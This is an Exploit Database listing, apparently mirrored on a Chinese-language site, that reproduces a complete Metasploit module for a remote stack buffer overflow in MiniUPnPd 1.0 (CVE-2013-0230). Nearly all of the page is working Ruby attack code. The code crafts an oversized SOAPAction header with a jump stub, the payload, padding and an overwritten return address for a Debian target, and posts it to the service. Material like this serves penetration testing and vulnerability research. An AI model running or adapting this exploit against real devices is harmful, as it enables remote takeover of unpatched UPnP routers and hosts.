MiniUPnPd 1.0 – Remote Stack Buffer Overflow Remote Code Execution (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2013-06-05
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/25975/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  Rank = NormalRanking
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
  'Description'=> %q{
  This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
  present in the SOAPAction HTTP header handling.
  },
  'Author' =>
  [
  'hdm', # Vulnerability discovery
  'Dejan Lukan' # Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'DefaultOptions' => { 'EXITFUNC' => 'process', },
  # the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
  # input, which is why it can't be part of the shellcode (otherwise the vulnerable part
  # of the program is never reached)
  'Payload'=>
  {
  'Space' => 2060,
  'BadChars' => "\x00\x22",
  'DisableNops' => true
  },
  'Platform' => 'linux',
  'References' =>
  [
  [ 'CVE', '2013-0230' ],
  [ 'OSVDB', '89624' ],
  [ 'BID', '57608' ],
  [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
  ],
  'Targets'=>
  [
  [ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
  {
  'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
  'Offset' => 2123
  }
  ],
  ],
  'DefaultTarget'=> 0,
  'Privileged' => false,
  'DisclosureDate' => 'Mar 27 2013',
  ))
  
  register_options([
  Opt::RPORT(5555),
  ], self.class)
  end
  
  def exploit
  #
  # Build the SOAP Exploit
  #
  # jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
  sploit= "\xeb\x2d"
  
  # a valid action
  sploit += "n:schemas-upnp-org:service:WANIPConnection:1#"
  
  # payload
  sploit += payload.encoded
  
  # nops
  sploit += rand_text(target['Offset'] - sploit.length - 16)
  
  # overwrite registers on stack: the values are not used, so we can overwrite them with anything
  sploit += rand_text(4) # overwrite EBX
  sploit += rand_text(4) # overwrite ESI
  sploit += rand_text(4) # overwrite EDI
  sploit += rand_text(4) # overwrite EBP
  
  # Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
  # stack points directly to the string after 'Soapaction: ', which is why we must
  # throw the first value on the stack away, which we're doing with the pop ebp
  # instruction. Then we're returning to the next value on the stack, which is
  # exactly the address that we want.
  sploit += [target.ret].pack('V')
  
  # the ending " character is necessary for the vulnerability to be reached
  sploit += "\""
  
  # data sent in the POST body
  data =
  "<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
  "<SOAP-ENV:Envelope\r\n" +
  "SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
  "xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
  "xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
  ">\r\n" +
  "<SOAP-ENV:Body>\r\n" +
  "<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
  "</ns1:action>\r\n" +
  "</SOAP-ENV:Body>\r\n" +
  "</SOAP-ENV:Envelope>\r\n"
  
  #
  # Build and send the HTTP request
  #
  print_status("Sending exploit to victim #{target.name} at ...")
  send_request_cgi({
  'method'=> 'POST',
  'uri' => "/",
  'headers' => {
  'SOAPAction' => sploit,
  },
  'data'=> data,
  })
  
  # disconnect from the server
  disconnect
  end
  end